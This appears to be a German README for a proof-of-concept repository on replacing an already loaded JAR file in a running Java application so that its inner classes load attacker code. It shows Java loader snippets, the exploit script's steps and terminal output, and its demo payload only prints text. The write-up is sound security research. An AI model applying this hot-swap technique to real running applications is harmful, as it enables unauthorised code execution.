
Demo des URLClassLoader-JAR-Swappings, die die Fähigkeit zeigt, ein bereits geladenes JAR mit inneren Klassen zu ersetzen und auszunutzen
Der folgende Beispielcode zeigt, wie ein bereits geladenes JAR-File per Hot-JAR-Swap ausgetauscht und Codeausführung erlangt werden kann, indem ausgenutzt wird, dass innere Klassen beim Aufruf weiterhin auf die JAR-Datei zugreifen, solange sich der Inode nicht ändert.
Getestet auf macOS mit OpenJDK (und auch ausgenutzt bei Apples Author-Publisher mittels Transporter).
Demo aus Frans Roséns Vortrag „Story of a RCE on Apple through hot jar swapping“ auf der NahamCon 2022 EU.
build-and-run.shDu führst es aus mit:
./build-and-run.sh
Das bewirkt Folgendes:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Der Bootstrapper lädt und führt die Klasse HelloWorld.Main über den URLClassLoader aus und fordert dich auf, die Methode hello der bereits geladenen Klasse HelloWorld.Secondary auszuführen. Dies dient dazu, den Zeitpunkt zu kontrollieren, an dem die bereits geladene JAR-Datei ersetzt wird.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Du kannst nun entscheiden, ob du die Eingabetaste drückst, ohne eine JAR-Datei zu ersetzen. Dann wird der normale Codeablauf aus HelloWorld/Secondary.java angezeigt:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shDas exploit.sh-Skript:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
Der Kopiervorgang beim Überschreiben der HelloWorld.jar mit exploit.jar ist wichtig, denn wenn sich der Inode ändert, schlägt der Exploit fehl. Ein mv-Befehl erzeugt einen neuen Inode, cp in eine vorhandene Datei hingegen nicht. Dasselbe geschah bei der ZIP-Extraktion: Der Inode der bereits vorhandenen JAR-Datei änderte sich nie, wodurch der Exploit funktionierte.
Wenn du den Hot-JAR-Swap testen möchtest, führe exploit.sh in einem anderen Fenster aus, nachdem du build-and-run.sh gestartet hast, aber bevor du die Eingabetaste drückst:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Wenn du nun bei ./build-and-run.sh die Eingabetaste drückst, solltest du stattdessen den ersetzten Code sehen:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Das zeigt, dass wir ausnutzen können, dass innere/anonyme Klassen weiterhin aus der physischen JAR-Datei geladen werden, obwohl der URLClassLoader die JAR-Datei bereits geladen hat, bevor wir sie ersetzt haben.
Dieses Code-Repository versucht zu erklären, dass man bereits geladene JAR-Dateien überschreiben kann, um unter einigen Voraussetzungen Codeausführung zu erlangen.
Die Idee ist, dass die JAR-Datei zunächst mit URLClassLoader geladen wurde:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
Und eine sekundäre Methode wurde ebenfalls beim Start geladen, aber nie aufgerufen:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Wenn die JAR-Datei dann ersetzt wird, während die Anwendung läuft, und die Klasse, die geladen wurde, aber bei der nie Methoden aufgerufen wurden, ebenfalls innere Klassen enthält, können wir sie dazu bringen, anderen Code aus der neuen JAR-Datei auszuführen, wenn der Aufruf später erfolgt:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Wenn diese Methode also eine innere Klasse enthält (diese erscheinen in der JAR-Datei als $1.class) und wir die innere Klasse durch etwas mit gleicher Größe und gleicher Komprimierungsrate ersetzen, können wir die JAR-Datei per Hot-Swap austauschen und unseren eigenen Code zur Ausführung bringen.
Die anonyme Klasse aus der Datei Exploit/HelloWorld/Secondary.java wird zu der inneren Klasse Exploit/HelloWorld/Secondary$1.class kompiliert, die dieselbe Größe und Komprimierungsrate aufweist wie beim Kompilieren und Komprimieren von HelloWorld/Secondary.java. Würden sich Größe oder Komprimierungsrate unterscheiden, würdest du beim Drücken der Eingabetaste in build-and-run.sh einen Absturz erhalten.
Wenn du also Exploit/HelloWorld/Secondary.java beispielsweise wie folgt änderst (functionn statt function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
Hierbei ist das Komprimierungsergebnis identisch, aber die Komprimierungsrate stimmt nicht:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
würdest du Folgendes sehen:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
Unter OpenJDK scheint es, dass es trotzdem funktioniert, wenn die Originalgröße abweicht, aber die komprimierte Größe identisch ist:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
Das exploit.sh meldet weiterhin einen Unterschied, da es nicht in allen Versionen funktionieren könnte.
Du wirst außerdem feststellen, dass, wenn du Dinge in Exploit/HelloWorld/Secondary.java außerhalb der inneren Klasse änderst, etwa:
System.out.println("\nEnd of run, goodbye");
in:
System.out.println("\nEnd of run, goodbya");
was dazu führt, dass die Secondary.class dieselbe Komprimierungsrate und Größe hat, wird der ersetzte Inhalt dennoch nicht ausgelöst, da die Klasse bereits vom URLClassLoader geladen wurde. Das bestätigt, dass nur innere Klassen (diejenigen, die in der JAR-Datei $1.class heißen) betroffen sind, da diese bei Verwendung aus der JAR-Datei geladen werden:
End of run, goodbye